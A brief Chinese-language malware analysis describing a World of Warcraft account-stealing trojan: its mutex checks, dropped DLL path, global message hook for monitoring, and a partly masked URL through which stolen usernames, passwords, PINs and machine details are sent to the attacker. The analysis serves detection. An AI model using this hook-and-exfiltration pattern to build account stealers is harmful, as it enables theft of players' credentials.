病毒行为：
这是一个盗取魔兽世界账号木马.

1、病毒运行后会先检测是否存在WOW_EXE_MUTEX和WOW_DLL_MUTEX的斥体，如果不存在说明病毒第一次运行则病毒创建WOW_EXE_MUTEX斥体，然后释放病毒文件到c:\YINFENGNEW\YINFENGNEW.dll。

2、病毒加载释放的DLL病毒文件，该文件创建名为WOW_DLL_MUTEX的斥体。

3、病毒调用DLL中的函数安装全局WM_GETMESSAGE钩子，对系统进行监视。

4、获得魔兽世界的账号后通过如下网页发送给种马者

http://www.game**.com.cn/ms/sendmail.asp?user=&Pass=&Pin=&Server=&PCName=&PCEdition=